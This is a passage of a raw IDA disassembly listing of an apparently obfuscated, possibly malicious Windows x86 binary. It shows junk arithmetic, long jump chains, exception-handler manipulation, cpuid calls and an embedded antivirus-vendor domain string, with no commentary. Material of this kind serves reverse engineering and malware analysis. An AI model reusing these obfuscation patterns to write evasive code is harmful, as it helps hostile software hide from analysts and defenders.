locret_40A430:				; CODE XREF: sub_40E0DF-8D08j
		retn
; END OF FUNCTION CHUNK	FOR sub_40D977
; ---------------------------------------------------------------------------
		push	offset loc_41056B
		jmp	locret_405ABC
; ---------------------------------------------------------------------------
		cmp	esi, 18C61D64h
		jmp	loc_40C5D9
; ---------------------------------------------------------------------------
		sbb	edi, eax
		jmp	sub_408864
; ---------------------------------------------------------------------------
		adc	ecx, edx
		jmp	sub_40AFCA

; =============== S U B	R O U T	I N E =======================================



sub_40A454	proc near		; CODE XREF: sub_40A454:loc_40777Ap
					; _837l4vi2:0040E720j

; FUNCTION CHUNK AT 00407261 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040776E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00407B72 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407C48 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00407CEF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040920D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D1E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E0F6 SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_40920D
		mov	eax, [ebp-4]
		jmp	loc_408787
sub_40A454	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_176. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C805


loc_40A46D:				; CODE XREF: sub_40C805-5CDFj
		js	loc_409939
		mov	ebx, edi
		jmp	loc_410E4A
; END OF FUNCTION CHUNK	FOR sub_40C805
; ---------------------------------------------------------------------------
		jno	sub_407E61
		jmp	sub_4064E6

; =============== S U B	R O U T	I N E =======================================



sub_40A485	proc near		; CODE XREF: sub_40B601:loc_40FA77p

; FUNCTION CHUNK AT 0040752E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D820 SIZE 0000000C BYTES

		call	sub_4103D0


loc_40A48A:				; CODE XREF: sub_40D735-42EBj
		jmp	loc_40752E
sub_40A485	endp

; ---------------------------------------------------------------------------


loc_40A48F:				; CODE XREF: _837l4vi2:00405FEFj
		jmp	loc_407234
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40A494:				; CODE XREF: sub_40966E:loc_405BA1j
		jl	loc_40D7AD
		or	ebp, 77247E49h
		xchg	eax, [ebp+0]
		js	loc_406965
		jmp	loc_40D7AD
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405D8B


loc_40A4AE:				; CODE XREF: sub_405D8B:loc_40E86Ej
		push	offset sub_410BE6
		jmp	loc_40652D
; END OF FUNCTION CHUNK	FOR sub_405D8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4097D5


loc_40A4B8:				; CODE XREF: sub_4097D5:loc_40A2CBj
		mov	eax, [eax]
		push	eax
		push	28E1DB22h
		pop	eax
		sub	eax, 0F81D2FD3h
		and	eax, 0C065C221h
		jmp	loc_40872B
; END OF FUNCTION CHUNK	FOR sub_4097D5
; ---------------------------------------------------------------------------

locret_40A4D2:				; CODE XREF: _837l4vi2:00410D58j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405BB4


loc_40A4D3:				; CODE XREF: sub_405BB4-11Cj
		jmp	loc_408240
; END OF FUNCTION CHUNK	FOR sub_405BB4
; ---------------------------------------------------------------------------


loc_40A4D8:				; CODE XREF: _837l4vi2:00409FE6j
		jo	loc_40EB6A
		or	ecx, edx
		sub	eax, 53C3B5E9h
		adc	ecx, 6D8A9FFDh
		rol	ebx, 14h
		rol	eax, 1Ch
		sbb	eax, 0CD307817h
		push	eax
		jmp	loc_4063CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F642


loc_40A4FE:				; CODE XREF: sub_40F642+1j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40D40C
		push	offset loc_40D185
		jmp	loc_40887A
; END OF FUNCTION CHUNK	FOR sub_40F642
; ---------------------------------------------------------------------------


loc_40A514:				; CODE XREF: _837l4vi2:loc_40D58Dj
		push	14E57C69h
		adc	edx, 1056CCD6h
		jmp	loc_40B70F
; ---------------------------------------------------------------------------


loc_40A524:				; CODE XREF: _837l4vi2:0040F210j
		sbb	esi, ebp

; =============== S U B	R O U T	I N E =======================================



sub_40A526	proc near		; CODE XREF: sub_40C6CA+34ADp

; FUNCTION CHUNK AT 004069C0 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00409930 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0040E5BE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040EFA5 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040FB9A SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		or	edx, edx
		jz	loc_40E5BE
		jmp	loc_40EFA5
sub_40A526	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408567


loc_40A537:				; CODE XREF: sub_408567+80D7j
		jl	loc_40ADAA
		jo	loc_407D2C
		jmp	loc_40ADA3
; ---------------------------------------------------------------------------


loc_40A548:				; CODE XREF: sub_408567:loc_40ADA3j
		not	edi
		jmp	loc_40AC32
; END OF FUNCTION CHUNK	FOR sub_408567
; ---------------------------------------------------------------------------
		test	ebx, esi
		jmp	loc_405680
; ---------------------------------------------------------------------------


loc_40A556:				; CODE XREF: _837l4vi2:loc_40DAA5j
					; _837l4vi2:0040DAB3j
		add	ebx, 0A9B24E76h
		mov	[ebx], eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC6E


loc_40A560:				; CODE XREF: sub_40CC6E+Cj
		jmp	loc_408847
; END OF FUNCTION CHUNK	FOR sub_40CC6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405950


loc_40A565:				; CODE XREF: sub_405950+6B38j
		jmp	loc_40B1B3
; END OF FUNCTION CHUNK	FOR sub_405950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061A1


loc_40A56A:				; CODE XREF: sub_4061A1+5162j
		jmp	nullsub_36
; END OF FUNCTION CHUNK	FOR sub_4061A1

; =============== S U B	R O U T	I N E =======================================



sub_40A56F	proc near		; CODE XREF: sub_405250j
		push	ebp
		call	sub_40C2A0

locret_40A575:				; CODE XREF: sub_40FF31:loc_407C50j
		retn
sub_40A56F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D31D


loc_40A576:				; CODE XREF: sub_40D31D+10j
		jmp	loc_4075C2
; END OF FUNCTION CHUNK	FOR sub_40D31D
; ---------------------------------------------------------------------------


loc_40A57B:				; DATA XREF: sub_40A7E9:loc_40D570o
		lea	eax, [ebp-20h]
		mov	dword ptr [eax], 594C4C4Fh
		call	loc_40C2AB
; START	OF FUNCTION CHUNK FOR sub_40B3A7


loc_40A589:				; CODE XREF: sub_40B3A7+4j
		jmp	loc_40D947
; END OF FUNCTION CHUNK	FOR sub_40B3A7

; =============== S U B	R O U T	I N E =======================================



sub_40A58E	proc near		; DATA XREF: sub_411085+8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004057F9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00407FA3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004099C1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040C653 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D885 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040D8C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FEBF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004103E1 SIZE 0000000B BYTES

		push	eax
		mov	eax, [ebp-8]
		push	edx
		mov	edx, eax
		xchg	edx, [esp+0]
		jmp	loc_40D8C3
sub_40A58E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40A59D:				; CODE XREF: sub_4078C8:loc_410C78j
		js	loc_410086
		add	ebp, 0BFEB8149h
		jmp	loc_40BFA3
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------


loc_40A5AE:				; CODE XREF: _837l4vi2:loc_40F4DAj
		call	sub_40B088
		mov	edx, 0A2CD59D9h
; START	OF FUNCTION CHUNK FOR sub_4061E8


loc_40A5B8:				; CODE XREF: sub_4061E8:loc_408DE8j
		call	sub_40CC4A
		mov	ds:dword_406D58, eax
		call	sub_409218
		jmp	loc_40CFDF
; END OF FUNCTION CHUNK	FOR sub_4061E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410E72


loc_40A5CC:				; CODE XREF: sub_410E72-9849j
					; sub_410E72+12j
		add	eax, 0C69F9CAEh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_40935B
		call	sub_409DD8
; END OF FUNCTION CHUNK	FOR sub_410E72
; START	OF FUNCTION CHUNK FOR sub_40DEDE


loc_40A5E1:				; CODE XREF: sub_40DEDE+18j
		jmp	loc_40C402
; END OF FUNCTION CHUNK	FOR sub_40DEDE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_40A5E7:				; CODE XREF: sub_40AE2D+57A2j
		jmp	loc_406922
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; ---------------------------------------------------------------------------

locret_40A5EC:				; CODE XREF: _837l4vi2:loc_40C147j
		retn
; ---------------------------------------------------------------------------
		push	offset sub_407C0E
		jmp	loc_408589
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405492


loc_40A5F7:				; CODE XREF: sub_405492:loc_4089E1j
		add	eax, 23A5D910h
		mov	eax, [eax]
		pop	ecx
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_405492
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407E0A


loc_40A604:				; CODE XREF: sub_407E0A+5j
		jmp	nullsub_29
; END OF FUNCTION CHUNK	FOR sub_407E0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40800E


loc_40A609:				; CODE XREF: sub_40800E-260j
		jmp	nullsub_222
; END OF FUNCTION CHUNK	FOR sub_40800E
; ---------------------------------------------------------------------------


loc_40A60E:				; CODE XREF: _837l4vi2:0040754Aj
		xor	esi, edx


loc_40A610:				; CODE XREF: _837l4vi2:loc_406727j
		push	0
		push	offset sub_40A2EC
		jmp	loc_40C58A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CAD0


loc_40A61C:				; CODE XREF: sub_40CAD0:loc_4061D0j
		jnb	loc_410B08


loc_40A622:				; CODE XREF: sub_40C0A5+17j
		jmp	loc_406C20
; END OF FUNCTION CHUNK	FOR sub_40CAD0
; ---------------------------------------------------------------------------
		or	edx, 401B6A6Fh
		mov	[eax], esi
		jmp	loc_410B05
; ---------------------------------------------------------------------------
		ror	ebp, 1Bh
		pop	eax
		jmp	sub_40C94E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6CD


loc_40A63D:				; CODE XREF: sub_40E6CD+E58j
		jz	loc_409163
		jmp	loc_40D51A
; END OF FUNCTION CHUNK	FOR sub_40E6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408A93


loc_40A648:				; CODE XREF: sub_408A93:loc_40DFE5j
		popf
		xchg	eax, [esp+0]
		push	10h
		mov	eax, [ebp+8]
		jmp	loc_405A52
; END OF FUNCTION CHUNK	FOR sub_408A93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B914


loc_40A656:				; CODE XREF: sub_40B914+7j
		push	offset loc_40EEE3
		jmp	nullsub_187
; END OF FUNCTION CHUNK	FOR sub_40B914
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E4F1


loc_40A660:				; CODE XREF: sub_40E4F1:loc_4073B6j
		mov	ds:dword_40D41C, eax
		retn
; ---------------------------------------------------------------------------


loc_40A667:				; CODE XREF: sub_40E4F1:loc_405BDAj
		ror	eax, 10h
		push	4EFEDD72h
		jmp	loc_408E6D
; END OF FUNCTION CHUNK	FOR sub_40E4F1

; =============== S U B	R O U T	I N E =======================================



sub_40A674	proc near		; CODE XREF: sub_4104E3-5D59p
		push	offset loc_40E099
		jmp	nullsub_30
sub_40A674	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40A67E:				; CODE XREF: sub_4078C8:loc_410D2Bj
		add	esi, 788C7B97h
		mov	esi, [esi]
		xchg	esi, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_40A68A:				; CODE XREF: sub_40E3C8:loc_40D3B8j
		jmp	sub_40E739
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
		jg	loc_40F818
		jmp	sub_40C162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_40A69A:				; CODE XREF: sub_40DFF5:loc_40DEAFj
		push	offset sub_4057E6


loc_40A69F:				; CODE XREF: _837l4vi2:0040DA25j
		jmp	loc_40DB25
; END OF FUNCTION CHUNK	FOR sub_40DFF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407EF6


loc_40A6A4:				; CODE XREF: sub_407EF6+16j
		jnz	loc_40DDE4
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		jmp	loc_40C585
; END OF FUNCTION CHUNK	FOR sub_407EF6

; =============== S U B	R O U T	I N E =======================================



sub_40A6B5	proc near		; CODE XREF: sub_407EF6+3j

; FUNCTION CHUNK AT 0040DDDE SIZE 00000006 BYTES

		add	esp, 0FFFFFFF4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-8], 0
		jnz	loc_40DDE4
		jmp	loc_40DDDE
sub_40A6B5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40A6CD:				; CODE XREF: _837l4vi2:0040F842j
		mov	eax, 0A8406913h

; =============== S U B	R O U T	I N E =======================================



sub_40A6D2	proc near

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0040B901 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040CC0D SIZE 00000015 BYTES

		mov	[esp+0], edi
		pop	edi
		add	eax, eax
		cdq
		add	eax, [esp-4+arg_0]
		adc	edx, [esp-4+arg_4]
		jmp	loc_40B901
sub_40A6D2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4056BA


loc_40A6E5:				; CODE XREF: sub_4056BA:loc_40E0D5j
		add	[esi], eax
		xor	[esi], ebx
		add	[esi], ecx
		xor	[esi], edx
		mov	eax, 80000004h
		xor	ebx, ebx
		jmp	loc_40CDB0
; END OF FUNCTION CHUNK	FOR sub_4056BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CE96


loc_40A6F9:				; CODE XREF: sub_40CE96-1E02j
		jno	loc_40F125
		sbb	edx, ebp
		cmp	eax, ebp
		jmp	loc_40C277
; END OF FUNCTION CHUNK	FOR sub_40CE96
; ---------------------------------------------------------------------------


loc_40A708:				; CODE XREF: _837l4vi2:0040964Ej
		add	eax, 0F838B548h
		xchg	eax, [esp]
		jmp	loc_410D75
; ---------------------------------------------------------------------------
		push	esi
		push	0F4D2C32Fh
		pop	esi
		add	esi, 0B6E2FACh
		xchg	esi, [esp]
		jmp	sub_40735A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_40A72B:				; CODE XREF: sub_40B67D:loc_40722Fj
		pop	edi
		sub	edi, 0C5022B66h
		add	edi, 591092BEh
		xchg	edi, [esp+0]
		jmp	sub_40E0FB
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405AFA


loc_40A740:				; CODE XREF: sub_405AFA+7A0j
		not	ebx
		test	ecx, 0FB7C9941h
		jmp	loc_408A3F
; END OF FUNCTION CHUNK	FOR sub_405AFA
; ---------------------------------------------------------------------------
		and	ebp, 0E300CDA3h
		sbb	ebp, edx
		jmp	sub_40ABD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408A11


loc_40A75A:				; CODE XREF: sub_408A11+Bj
		pop	ecx
		and	ecx, 9C791A3h
		add	ecx, offset aU9_kasperskyLa ; "u9.kaspersky-labs.com"
		xchg	ecx, [esp+4+var_4]
		jmp	sub_40DC8C
; END OF FUNCTION CHUNK	FOR sub_408A11
; ---------------------------------------------------------------------------
		test	eax, eax
		jmp	loc_4108EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4104E3


loc_40A776:				; CODE XREF: sub_4104E3:loc_40869Bj
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_4104E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D9E6


loc_40A778:				; CODE XREF: sub_40D9E6+Aj
		jmp	nullsub_208
; END OF FUNCTION CHUNK	FOR sub_40D9E6
; ---------------------------------------------------------------------------


loc_40A77D:				; CODE XREF: _837l4vi2:0040CE82j
		jmp	loc_407A30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41045F


loc_40A782:				; CODE XREF: sub_41045F-5317j
		jmp	nullsub_152
; END OF FUNCTION CHUNK	FOR sub_41045F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4104E3


loc_40A787:				; CODE XREF: sub_4104E3+6j
		ror	eax, 5
		call	sub_40A674
; END OF FUNCTION CHUNK	FOR sub_4104E3
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_40A78F:				; CODE XREF: sub_407AA4+5E5Fj
		jmp	loc_408E8B
; END OF FUNCTION CHUNK	FOR sub_407AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4069AA


loc_40A794:				; CODE XREF: sub_4069AA+11j
		jmp	loc_40F6A8
; END OF FUNCTION CHUNK	FOR sub_4069AA

; =============== S U B	R O U T	I N E =======================================



sub_40A799	proc near		; CODE XREF: sub_40E0FB+7p
					; _837l4vi2:0040EB1Bj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00406591 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004073BB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00408C25 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004091AB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040AC6F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B7FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C8DD SIZE 0000002E BYTES

		xchg	ebx, [esp-4+arg_0]
		pop	ebx
		mov	ebp, esp
		push	ecx
		mov	byte ptr [ebp-1], 0
		mov	eax, cs
		jmp	loc_40AC6F
sub_40A799	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_40A7AB:				; CODE XREF: sub_406ADC-C0Cj
		jnz	loc_40AA24
		jmp	loc_40F460
; END OF FUNCTION CHUNK	FOR sub_406ADC
; ---------------------------------------------------------------------------


loc_40A7B6:				; CODE XREF: _837l4vi2:loc_4054AFj
		push	edx
		push	eax
		mov	eax, [ebp-8]
		cdq
		add	eax, [esp]
		push	offset loc_40DC2F
		jmp	locret_4091C5
; ---------------------------------------------------------------------------
		test	ebx, ebp
		jmp	loc_405386
; ---------------------------------------------------------------------------
		mov	ebx, ebp
		jmp	sub_408D2F
; ---------------------------------------------------------------------------


loc_40A7D7:				; DATA XREF: sub_40989E+4352o
		xor	edx, 260105E8h
		xchg	edx, [esp]
		mov	eax, [ebp-8]
		push	eax
		jmp	loc_4096C5

; =============== S U B	R O U T	I N E =======================================



sub_40A7E9	proc near		; CODE XREF: sub_40C9A5+6j

; FUNCTION CHUNK AT 00408598 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D570 SIZE 0000000A BYTES

		add	esp, 0FFFFFFE0h
		jmp	loc_408598
sub_40A7E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A7F1	proc near		; CODE XREF: _837l4vi2:00409B04j
					; sub_40BDE4p

arg_0		= dword	ptr  4

		mov	[esp+0], edi
		pop	edi
		mov	[esp-4+arg_0], eax
		retn
sub_40A7F1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7F9	proc near		; CODE XREF: sub_407A03+Ej
					; sub_40926F+BB3j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405D79 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00409C4B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040AE01 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040AF66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B696 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0040F4A6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040FCB6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040FE89 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		call	sub_408F1B


loc_40A801:				; CODE XREF: sub_405C5C+7F19j
		jmp	loc_40AF66
sub_40A7F9	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40A807:				; CODE XREF: _837l4vi2:00409F8Fj
		xchg	eax, edx
		rol	eax, 0Dh
		push	ecx
		push	0F8324C9h
		pop	ecx
		add	ecx, 0F0BDDB73h
		mov	[ecx], eax
		pop	ecx
		jmp	nullsub_134
; ---------------------------------------------------------------------------


loc_40A821:				; DATA XREF: sub_40B4E8+105Bo
		cmp	dword ptr [eax-4], 4
		jnz	loc_40A834
		add	dword ptr [ebp-8], 4
		jmp	loc_40F0A0
; ---------------------------------------------------------------------------


loc_40A834:				; CODE XREF: _837l4vi2:0040A825j
		add	dword ptr [ebp-8], 2
		jmp	near ptr dword_406568+0Ch

; =============== S U B	R O U T	I N E =======================================



sub_40A83D	proc near		; CODE XREF: sub_40966E+3629p
					; sub_410862+Ep

; FUNCTION CHUNK AT 004088B2 SIZE 00000012 BYTES

		push	ebp
		jmp	loc_4088B2
sub_40A83D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_40887F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4085B9


loc_40A84A:				; CODE XREF: sub_4085B9:loc_40A964j
		xor	edx, edx
		cpuid
		add	[esi], eax
		xor	[esi], ebx
		add	[esi], ecx
		xor	[esi], edx
		mov	eax, 80000004h
		jmp	loc_4091B8
; END OF FUNCTION CHUNK	FOR sub_4085B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E294


loc_40A860:				; CODE XREF: sub_40E294:loc_40DAF7j
		push	eax
		call	sub_4091E6


loc_40A866:				; CODE XREF: _837l4vi2:00405FD3j
		jmp	loc_409D9A
; END OF FUNCTION CHUNK	FOR sub_40E294
; ---------------------------------------------------------------------------


loc_40A86B:				; CODE XREF: _837l4vi2:004082DFj
		jno	loc_407237


loc_40A871:				; CODE XREF: _837l4vi2:loc_40CD16j
		mov	eax, [ebp-0Ch]
		neg	eax
		sbb	eax, eax
		neg	eax
		jmp	loc_40D874
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C162


loc_40A87F:				; CODE XREF: sub_40C162:loc_40EABAj
		push	6C0B662Ch
		jmp	loc_405818
; END OF FUNCTION CHUNK	FOR sub_40C162
; ---------------------------------------------------------------------------


loc_40A889:				; CODE XREF: _837l4vi2:0040F17Ej
		shl	eax, 1Bh
		mov	ebx, 278ABEE4h
		jp	loc_40C1DD
		pop	ebx


loc_40A898:				; CODE XREF: _837l4vi2:loc_4071BCj
		pop	large dword ptr	fs:0
		jmp	loc_40AED6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D32


loc_40A8A4:				; CODE XREF: sub_409D32:loc_40A083j
		add	eax, ebp
		add	eax, 38D0883Fh
		push	eax
		call	sub_408CAC
		mov	[ebp-8], eax
		call	sub_408D96
; END OF FUNCTION CHUNK	FOR sub_409D32
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_40A8BA:				; CODE XREF: sub_4065B8:loc_408E4Cj
		test	al, al
		jz	loc_40D51F
; END OF FUNCTION CHUNK	FOR sub_4065B8
; START	OF FUNCTION CHUNK FOR sub_41087A


loc_40A8C2:				; CODE XREF: sub_41087A:loc_406189j
		jmp	loc_40D47D
; END OF FUNCTION CHUNK	FOR sub_41087A
; ---------------------------------------------------------------------------
		add	eax, 5E3B041h
		jmp	loc_408F16
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40A8D3	proc near		; CODE XREF: sub_40D92B:loc_40F1A3p
					; _837l4vi2:00410349j

; FUNCTION CHUNK AT 0040D192 SIZE 0000000F BYTES

		mov	[esp+0], eax
		pop	eax
		test	al, al
		jz	loc_40D192


loc_40A8DF:				; CODE XREF: _837l4vi2:loc_4085D1j
		mov	eax, [ebp-4]
		call	nullsub_4
		retn
sub_40A8D3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B250


loc_40A8E8:				; CODE XREF: sub_40B250+14j
		jmp	loc_407C21
; END OF FUNCTION CHUNK	FOR sub_40B250

; =============== S U B	R O U T	I N E =======================================



sub_40A8ED	proc near		; CODE XREF: sub_40D92Bj

; FUNCTION CHUNK AT 0040CB58 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DD6A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040ED58 SIZE 00000014 BYTES

		push	ebp
		jmp	loc_40CB58
sub_40A8ED	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41087A


loc_40A8F3:				; CODE XREF: sub_41087A:loc_40D47Dj
		jnz	loc_40C798
		jmp	loc_40C440
; END OF FUNCTION CHUNK	FOR sub_41087A

; =============== S U B	R O U T	I N E =======================================



sub_40A8FE	proc near		; CODE XREF: sub_4073E8+8B67p

; FUNCTION CHUNK AT 004051CE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407E22 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040AB47 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F0D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410D1D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00410F78 SIZE 00000014 BYTES

		xchg	ebp, [esp+0]
		mov	ebp, [esp+0]
		lea	eax, [ebp-4]
		call	sub_40B362
		pop	ecx
		mov	eax, [ebp-4]
		jmp	loc_4051CE
sub_40A8FE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A915	proc near		; CODE XREF: sub_4073E8+9j

; FUNCTION CHUNK AT 0040DFDA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FC28 SIZE 00000016 BYTES

		add	esp, 0FFFFFFF4h
		push	edx
		jmp	loc_40DFDA
sub_40A915	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_218. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40A91F	proc near		; CODE XREF: sub_40CBE4+3p

; FUNCTION CHUNK AT 0040E51D SIZE 00000005 BYTES

		mov	[esp+0], ecx
		mov	esp, ebp
		pop	ebp
		push	offset loc_4075AE
		jmp	loc_40E51D
sub_40A91F	endp

; ---------------------------------------------------------------------------


loc_40A92F:				; CODE XREF: _837l4vi2:0040AFC5j
		jnp	loc_40ED32


loc_40A935:				; CODE XREF: _837l4vi2:loc_40E184j
		push	offset loc_40F215
		jmp	loc_4062D2
; ---------------------------------------------------------------------------


loc_40A93F:				; CODE XREF: _837l4vi2:0040AAFEj
		jo	loc_408F23

; =============== S U B	R O U T	I N E =======================================



sub_40A945	proc near		; CODE XREF: sub_408055:loc_410D70p

; FUNCTION CHUNK AT 0040FD7A SIZE 00000005 BYTES

		mov	[esp+0], esi
		pop	esi
		inc	dword ptr [ebp-18h]
		dec	dword ptr [ebp-24h]
		jnz	loc_40C157
		jmp	loc_40FD7A
sub_40A945	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40A95A:				; CODE XREF: _837l4vi2:0040DE19j
		ror	eax, 0Eh
		push	ebx
		jmp	loc_40DEC6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4085B9


loc_40A964:				; CODE XREF: sub_4085B9+6CD1j
		jmp	loc_40A84A
; END OF FUNCTION CHUNK	FOR sub_4085B9
; ---------------------------------------------------------------------------
